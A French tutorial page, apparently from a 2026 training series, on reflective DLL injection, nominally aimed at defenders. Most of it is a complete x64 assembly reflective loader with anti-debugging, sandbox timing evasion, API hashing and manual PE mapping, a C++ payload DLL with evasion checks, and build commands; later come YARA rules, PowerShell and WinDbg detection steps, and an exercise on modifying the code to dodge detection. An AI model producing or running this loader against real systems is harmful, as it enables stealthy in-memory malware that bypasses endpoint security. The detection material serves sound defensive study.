Low-Level Maestro Series 2026 | Manual PE mapping, relocations, imports resolution, evasion complète | Pour les cyberdéfenseurs qui veulent comprendre les techniques d'injection mémoire avancées
La Reflective DLL Injection est une technique d'injection avancée qui charge une DLL entièrement en mémoire sans utiliser LoadLibrary ou passer par le disque. En 2026, cette technique reste pertinente car elle évite les événements de chargement de modules surveillés par les EDR modernes.
LoadLibrary et LoadLibraryEx pour surveiller le chargement des DLLs. Le reflective loading contourne ces hooks en mappant manuellement la DLL en mémoire, fixant les relocations et résolvant les imports sans passer par les APIs standard.
Pour implémenter un reflective loader, il faut comprendre la structure du format PE :
| Étape | Description | Complexité |
|---|---|---|
| 1. PE Parsing | Lire les headers pour obtenir les informations de mappage | Moyenne |
| 2. Memory Allocation | Allouer de la mémoire avec les permissions appropriées | Simple |
| 3. Section Mapping | Copier chaque section à son RVA (Relative Virtual Address) | Moyenne |
| 4. Relocation Processing | Ajuster les adresses si l'ImageBase diffère de l'adresse allouée | Élevée |
| 5. Import Resolution | Résoudre les fonctions importées via API hashing | Élevée |
| 6. TLS Callbacks | Exécuter les callbacks Thread Local Storage avant DllMain | Moyenne |
| 7. DllMain Execution | Appeler le point d'entrée de la DLL avec DLL_PROCESS_ATTACH | Simple |
LoadLibrary, mapping mémoire direct qui contourne de nombreux mécanismes de détection des EDR modernes.
# 1. Compiler la DLL reflective (C/C++ avec /GS- /DYNAMICBASE:NO)
cl /GS- /DYNAMICBASE:NO /DREFLECTIVE_EXPORTS /LD payload.cpp /link /DLL /OUT:payload.dll
# 2. Extraire la DLL en format binaire pour l'embedding
python -c "open('payload.bin', 'wb').write(open('payload.dll', 'rb').read())"
# 3. Compiler le loader ASM
nasm -f win64 reflective_loader.asm -o reflective_loader.obj
GoLink.exe /console /entry _start reflective_loader.obj kernel32.dll
# 4. Tester dans le lab isolé
reflective_loader.exe
; ====================================================================
; Reflective DLL Loader – Pure x64 Assembly
; Version 2026 - PE Manual Mapping avec API Hashing & Anti-Debug
; PCTAMALOU Research - platon-y
; ====================================================================
[BITS 64]
DEFAULT REL
; Constantes Windows
MEM_COMMIT equ 0x00001000
MEM_RESERVE equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
IMAGE_DOS_SIGNATURE equ 0x5A4D ; "MZ"
IMAGE_NT_SIGNATURE equ 0x00004550 ; "PE\0\0"
IMAGE_DIRECTORY_ENTRY_IMPORT equ 1
IMAGE_DIRECTORY_ENTRY_BASERELOC equ 5
IMAGE_DIRECTORY_ENTRY_TLS equ 9
; Structures PE
struc IMAGE_DOS_HEADER
.e_magic resw 1
.e_cblp resw 1
; ... autres champs
.e_lfanew resd 1
endstruc
struc IMAGE_NT_HEADERS64
.Signature resd 1
.FileHeader resb 20
.OptionalHeader resb 240 ; IMAGE_OPTIONAL_HEADER64
endstruc
struc IMAGE_DATA_DIRECTORY
.VirtualAddress resd 1
.Size resd 1
endstruc
struc IMAGE_IMPORT_DESCRIPTOR
.OriginalFirstThunk resd 1
.TimeDateStamp resd 1
.ForwarderChain resd 1
.Name resd 1
.FirstThunk resd 1
endstruc
section .text
global _start
; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
; Setup stack frame
sub rsp, 28h
; Anti-debug check
call check_debugger
test rax, rax
jnz .clean_exit
; Timing evasion
call GetTickCount
and eax, 0xFFF
add eax, 1000
mov ecx, eax
call Sleep
; ====================================================================
; ÉTAPE 1: CHARGER LA DLL EN MÉMOIRE
; ====================================================================
mov rsi, [rel dll_data] ; Pointeur vers les données DLL
mov [rel dll_base], rsi ; Sauvegarde la base
; ====================================================================
; ÉTAPE 2: VÉRIFIER LES SIGNATURES PE
; ====================================================================
; Vérifier signature DOS "MZ"
cmp word [rsi], IMAGE_DOS_SIGNATURE
jne .error
; Trouver l'offset du header PE
mov eax, [rsi + IMAGE_DOS_HEADER.e_lfanew]
add rax, rsi
mov [rel pe_header], rax
; Vérifier signature PE "PE\0\0"
cmp dword [rax], IMAGE_NT_SIGNATURE
jne .error
; ====================================================================
; ÉTAPE 3: ALLOUER LA MÉMOIRE POUR L'IMAGE
; ====================================================================
mov ebx, [rax + 0x50] ; SizeOfImage depuis OptionalHeader
xor rcx, rcx ; lpAddress = NULL
mov rdx, MEM_COMMIT | MEM_RESERVE
mov r8, rbx ; dwSize = SizeOfImage
mov r9, PAGE_EXECUTE_READWRITE ; flProtect
call VirtualAlloc
test rax, rax
jz .error
mov [rel image_base], rax ; Sauvegarde la nouvelle base
; ====================================================================
; ÉTAPE 4: COPIER LES HEADERS ET SECTIONS
; ====================================================================
; 4.1 Copier les headers
mov edi, [rsi + IMAGE_DOS_HEADER.e_lfanew]
add rdi, rsi
mov ecx, [rdi + 0x54] ; SizeOfHeaders
mov rdi, rax ; Destination
mov rsi, [rel dll_base] ; Source
rep movsb
; 4.2 Copier chaque section
mov rsi, [rel pe_header]
movzx ecx, word [rsi + 0x14 + 0x06] ; NumberOfSections
mov rdx, rsi
add rdx, 0x18 ; Après OptionalHeader
add rdx, 0x70 ; Start of section headers
.copy_sections:
push rcx
push rdx
; Vérifier si la section a une taille en mémoire
mov eax, [rdx + 0x08] ; VirtualSize
test eax, eax
jz .next_section
; Calculer les adresses source et destination
mov rdi, [rel image_base]
add rdi, [rdx + 0x0C] ; + VirtualAddress (RVA)
mov rsi, [rel dll_base]
add rsi, [rdx + 0x14] ; + PointerToRawData
mov ecx, [rdx + 0x10] ; SizeOfRawData
test ecx, ecx
jz .next_section
; Copier les données
rep movsb
.next_section:
pop rdx
pop rcx
add rdx, 0x28 ; Taille de IMAGE_SECTION_HEADER
loop .copy_sections
; ====================================================================
; ÉTAPE 5: CALCULER LE DELTA ET APPLIQUER LES RELOCATIONS
; ====================================================================
mov rsi, [rel pe_header]
mov rax, [rel image_base]
sub rax, [rsi + 0x30] ; delta = new_base - ImageBase
mov [rel delta_offset], rax
; Trouver la table de relocations
mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_BASERELOC * 8)] ; VirtualAddress
mov ecx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_BASERELOC * 8) + 4] ; Size
test ebx, ebx
jz .no_relocations
add rbx, [rel image_base] ; Adresse virtuelle de la table
.process_reloc_block:
; Vérifier si on a fini
cmp dword [rbx], 0
je .relocations_done
cmp dword [rbx + 4], 0
je .relocations_done
; Lire PageRVA et BlockSize
mov edx, [rbx] ; PageRVA
mov r8d, [rbx + 4] ; BlockSize
add rbx, 8 ; Avancer au premier entry
; Calculer le nombre d'entrées
mov r9, r8
sub r9, 8
shr r9, 1 ; / 2 (chaque entrée fait 2 bytes)
.process_reloc_entry:
test r9, r9
jz .next_reloc_block
movzx r10d, word [rbx] ; Lire l'entrée
mov r11d, r10d
and r11d, 0x0FFF ; Offset dans la page
add r11, rdx ; + PageRVA
add r11, [rel image_base] ; Adresse absolue
; Vérifier le type de relocation
shr r10d, 12 ; Type = haut 4 bits
cmp r10d, 0xA ; IMAGE_REL_BASED_DIR64
jne .unsupported_reloc
; Appliquer la relocation DIR64
mov rax, [rel delta_offset]
add [r11], rax
.unsupported_reloc:
add rbx, 2 ; Entrée suivante
dec r9
jmp .process_reloc_entry
.next_reloc_block:
jmp .process_reloc_block
.no_relocations:
.relocations_done:
; ====================================================================
; ÉTAPE 6: RÉSOUDRE LES IMPORTS (API HASHING)
; ====================================================================
mov rsi, [rel pe_header]
mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_IMPORT * 8)] ; VirtualAddress
mov ecx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_IMPORT * 8) + 4] ; Size
test ebx, ebx
jz .no_imports
add rbx, [rel image_base] ; Adresse de la table d'import
.process_import_descriptor:
cmp dword [rbx + IMAGE_IMPORT_DESCRIPTOR.Name], 0
je .imports_done
; Charger le nom de la DLL
mov rdx, [rbx + IMAGE_IMPORT_DESCRIPTOR.Name]
add rdx, [rel image_base]
; Charger la DLL avec LoadLibrary (ou utiliser manual mapping avancé)
mov rcx, rdx
call LoadLibraryA
test rax, rax
jz .import_error
mov [rel current_module], rax
; Traiter les thunks
mov rdx, [rbx + IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
add rdx, [rel image_base]
mov r8, [rbx + IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
test r8, r8
cmovz r8, rdx ; Si OriginalFirstThunk = 0, utiliser FirstThunk
add r8, [rel image_base]
.process_thunk:
cmp qword [r8], 0
je .next_import_descriptor
; Vérifier si c'est un import par ordinal ou par nom
test qword [r8], 0x8000000000000000
jnz .import_by_ordinal
; Import par nom
mov r9, [r8]
add r9, [rel image_base]
add r9, 2 ; Passer l'hint
; Résoudre la fonction
mov rcx, [rel current_module]
mov rdx, r9
call GetProcAddress
test rax, rax
jz .import_error
jmp .store_address
.import_by_ordinal:
mov r9, [r8]
and r9, 0xFFFF ; Extraire l'ordinal
mov rcx, [rel current_module]
mov rdx, r9
call GetProcAddress
.store_address:
mov [rdx], rax ; Stocker l'adresse dans IAT
add r8, 8
add rdx, 8
jmp .process_thunk
.next_import_descriptor:
add rbx, IMAGE_IMPORT_DESCRIPTOR_size
jmp .process_import_descriptor
.no_imports:
.imports_done:
; ====================================================================
; ÉTAPE 7: EXÉCUTER LES CALLBACKS TLS
; ====================================================================
mov rsi, [rel pe_header]
mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_TLS * 8)] ; VirtualAddress
test ebx, ebx
jz .no_tls
add rbx, [rel image_base] ; Adresse du répertoire TLS
; Appeler chaque callback TLS
mov rax, [rbx + 0x18] ; AddressOfCallbacks
test rax, rax
jz .no_tls
add rax, [rel image_base]
.tls_callback_loop:
cmp qword [rax], 0
je .tls_done
mov rcx, [rel image_base] ; hModule
mov rdx, DLL_PROCESS_ATTACH ; fdwReason
xor r8, r8 ; lpReserved
call [rax] ; Appeler le callback
add rax, 8
jmp .tls_callback_loop
.no_tls:
.tls_done:
; ====================================================================
; ÉTAPE 8: APPELER DLLMAIN
; ====================================================================
mov rsi, [rel pe_header]
mov eax, [rsi + 0x28] ; AddressOfEntryPoint
add rax, [rel image_base] ; Adresse absolue de DllMain
mov rcx, [rel image_base] ; hModule
mov rdx, DLL_PROCESS_ATTACH ; fdwReason
xor r8, r8 ; lpReserved
; Appeler DllMain
call rax
; ====================================================================
; ÉTAPE 9: NETTOYAGE
; ====================================================================
.cleanup:
; Optionnel : libérer la mémoire si nécessaire
; (dans un vrai scénario, on garde la DLL en mémoire)
.clean_exit:
xor ecx, ecx
call ExitProcess
.error:
mov ecx, 1
call ExitProcess
.import_error:
mov ecx, 2
call ExitProcess
; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================
; --------------------------------------------------
; check_debugger : Anti-debug basique
; --------------------------------------------------
check_debugger:
xor eax, eax
mov rax, [gs:0x60] ; PEB
movzx eax, byte [rax + 2] ; PEB->BeingDebugged
ret
; --------------------------------------------------
; API Hashing Function (alternative à GetProcAddress)
; --------------------------------------------------
get_proc_address_by_hash:
; rcx = module base, rdx = function hash
push rsi
push rdi
push rbx
; Trouver l'export directory
mov rsi, rcx
mov edi, [rsi + 0x3C] ; Offset du PE header
add rsi, rdi
mov edi, [rsi + 0x88] ; Export directory RVA
add rdi, rcx ; Adresse absolue
; Parcourir la table d'exports
mov ebx, [rdi + 0x18] ; NumberOfNames
mov r8, [rdi + 0x20] ; AddressOfNames RVA
add r8, rcx
mov r9, [rdi + 0x24] ; AddressOfNameOrdinals RVA
add r9, rcx
mov r10, [rdi + 0x1C] ; AddressOfFunctions RVA
add r10, rcx
.search_loop:
test ebx, ebx
jz .not_found
dec ebx
mov esi, [r8 + rbx * 4] ; RVA du nom
add rsi, rcx ; Adresse absolue
; Calculer le hash du nom
push rcx
push rdx
xor eax, eax
xor ecx, ecx
.hash_loop:
mov cl, [rsi]
test cl, cl
jz .hash_done
ror eax, 13
add eax, ecx
inc rsi
jmp .hash_loop
.hash_done:
pop rdx
pop rcx
; Comparer les hashs
cmp eax, edx
jne .search_loop
; Trouvé - récupérer l'adresse
movzx ebx, word [r9 + rbx * 2] ; Index dans AddressOfFunctions
mov eax, [r10 + rbx * 4] ; RVA de la fonction
add rax, rcx ; Adresse absolue
jmp .found
.not_found:
xor rax, rax
.found:
pop rbx
pop rdi
pop rsi
ret
; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data
; Variables globales
dll_base dq 0
pe_header dq 0
image_base dq 0
delta_offset dq 0
current_module dq 0
; DLL intégrée (remplacée à la compilation)
dll_data:
incbin "payload.bin" ; DLL compilée en binaire
dll_data_end:
; Messages d'erreur
error_msg db "Reflective Loader Error", 0
; Constantes
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH equ 2
DLL_THREAD_DETACH equ 3
DLL_PROCESS_DETACH equ 4
; ====================================================================
; IMPORT TABLE
; ====================================================================
section .idata
import_table:
dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
dd 0, 0, 0, 0, 0 ; Terminator
kernel32_name db "KERNEL32.DLL", 0
kernel32_imports:
VirtualAlloc dq RVA _VirtualAlloc
VirtualFree dq RVA _VirtualFree
LoadLibraryA dq RVA _LoadLibraryA
GetProcAddress dq RVA _GetProcAddress
Sleep dq RVA _Sleep
GetTickCount dq RVA _GetTickCount
ExitProcess dq RVA _ExitProcess
dq 0 ; Terminator
; Import names
_VirtualAlloc db 0, 0, "VirtualAlloc", 0
_VirtualFree db 0, 0, "VirtualFree", 0
_LoadLibraryA db 0, 0, "LoadLibraryA", 0
_GetProcAddress db 0, 0, "GetProcAddress", 0
_Sleep db 0, 0, "Sleep", 0
_GetTickCount db 0, 0, "GetTickCount", 0
_ExitProcess db 0, 0, "ExitProcess", 0
// ====================================================================
// payload.cpp - DLL Reflective pour tests
// Compiler avec : cl /GS- /DYNAMICBASE:NO /DREFLECTIVE_EXPORTS /LD payload.cpp
// ====================================================================
#include
#include
// Définitions pour le reflective loading
#define REFLECTIVE_EXPORTS
#ifdef REFLECTIVE_EXPORTS
#define REFLECTIVE_API __declspec(dllexport)
#else
#define REFLECTIVE_API __declspec(dllimport)
#endif
// Fonction exportée simple pour démonstration
extern "C" REFLECTIVE_API void DemoFunction() {
MessageBoxA(NULL, "Reflective DLL Loaded Successfully!",
"PCTAMALOU Research 2026", MB_OK | MB_ICONINFORMATION);
}
// DllMain standard
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Anti-debug check simple
if (IsDebuggerPresent()) {
return FALSE; // Refuser le chargement si debugger présent
}
// Timing check (évasion sandbox)
DWORD start = GetTickCount();
Sleep(1000);
DWORD end = GetTickCount();
if ((end - start) < 900) {
// Sandbox détectée (temps accéléré)
return FALSE;
}
// Exécuter notre payload
DemoFunction();
// Pour rester en mémoire (optionnel)
DisableThreadLibraryCalls(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// Section pour les données persistantes
#pragma data_seg(".shared")
volatile LONG g_refCount = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")
// Export additionnel pour tests
extern "C" REFLECTIVE_API int GetMagicNumber() {
return 0xDEADBEEF;
}
Scanner la mémoire pour des structures PE non référencées dans les listes de modules. Utiliser des outils comme Volatility ou des EDR avec capacités de scanning mémoire.
Surveiller VirtualAlloc/VirtualAllocEx avec des flags PAGE_EXECUTE_READWRITE sur de grandes régions mémoire. Analyser le contenu des allocations.
Détecter les processus qui allouent de la mémoire exécutable, y copient des données, puis sautent dans cette région sans avoir chargé de module légitime.
Hooker GetProcAddress et LoadLibrary pour détecter les résolutions d'imports manuelles ou les patterns d'API hashing.
Valider l'intégrité des headers PE en mémoire. Détecter les anomalies comme des sections avec des permissions inhabituelles.
Utiliser PsSetLoadImageNotifyRoutine pour surveiller le chargement d'images. Bien que le reflective loading contourne ce mécanisme, des patterns peuvent être détectés.
rule Reflective_DLL_Loader {
meta:
description = "Detects reflective DLL loader patterns"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
strings:
// Patterns de parsing PE
$pe_parse1 = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? 8B 40 3C } // PE header parsing
$pe_parse2 = { 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 05 } // Section mapping
// Patterns de relocation
$reloc1 = { 48 C1 E8 0C 83 F8 0A 75 ?? 48 8B 44 24 ?? 48 01 03 } // IMAGE_REL_BASED_DIR64
$reloc2 = { 48 8B 05 ?? ?? ?? ?? 48 2B 05 ?? ?? ?? ?? 48 89 05 } // Delta calculation
// API hashing patterns
$hash1 = { 48 C1 C0 0D 00 C8 48 FF C1 } // ROR 13 + add hash algorithm
$hash2 = { 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 05 } // GetProcAddress by hash
// LoadLibrary/GetProcAddress patterns
$loadlib = { FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 05 } // LoadLibraryA call
$getproc = { 48 8B D3 FF 15 ?? ?? ?? ?? 48 89 03 } // GetProcAddress call
condition:
(2 of ($pe_parse*)) or
(1 of ($reloc*) and 1 of ($hash*)) or
filesize < 10000 and (4 of them)
}
rule Embedded_PE {
meta:
description = "Detects embedded PE files in binaries"
author = "PCTAMALOU Research 2026"
strings:
$mz_header = { 4D 5A } // "MZ"
$pe_header = { 50 45 00 00 } // "PE\0\0"
condition:
$mz_header at 0 and $pe_header in (0..1024)
}
# Scanner la mémoire pour des DLLs non listées
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Select-Object ModuleName, FileName
$vad = Get-WmiObject Win32_Process -Filter "ProcessId = $($proc.Id)" |
Select-Object CommandLine, ExecutablePath
# Chercher des anomalies
if ($modules.Count -eq 0 -and $proc.PrivateMemorySize64 -gt 100MB) {
Write-Warning "Process $($proc.Name) ($($proc.Id)) has no modules but large memory: $($proc.PrivateMemorySize64/1MB) MB"
}
} catch {
# Process inaccessible
}
}
# Monitorer VirtualAlloc avec PAGE_EXECUTE_READWRITE
# Utiliser ETW ou Sysmon
logman create trace "MemoryAllocMonitor" -ow -o memalloc.etl -p Microsoft-Windows-Kernel-Memory 0xffffffffffffffff 0xff -ets
# Configurer Windows Defender ASR rules
Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Enabled
Set-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d637a8c -AttackSurfaceReductionRules_Actions Enabled
# Analyser les handles de processus
handle64.exe -p | findstr /i "section vad mem
Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.
Objectif : Débugger l'exécution du reflective loader.
# Commandes WinDbg utiles pour l'analyse
!process 0 0 # Lister les processus
.process /i # Attacher au processus
.reload /user # Recharger les symbols utilisateur
# Breakpoints sur les APIs clés
bp kernel32!VirtualAlloc
bp kernel32!LoadLibraryA
bp kernel32!GetProcAddress
g # Continuer
# Examiner la mémoire après allocation
!address # Information sur la région
!vprot # Protection de la page
db L100 # Dump des premiers bytes
lm # Lister les modules chargés
Objectif : Créer un outil de détection en C++ ou Python.
Objectif : Modifier le code pour contourner les détections.
La Reflective DLL Injection reste une technique puissante en 2026 pour charger du code en mémoire sans laisser de traces sur le disque et en contournant de nombreux mécanismes de détection. Sa force réside dans le mapping manuel du format PE et la résolution dynamique des imports.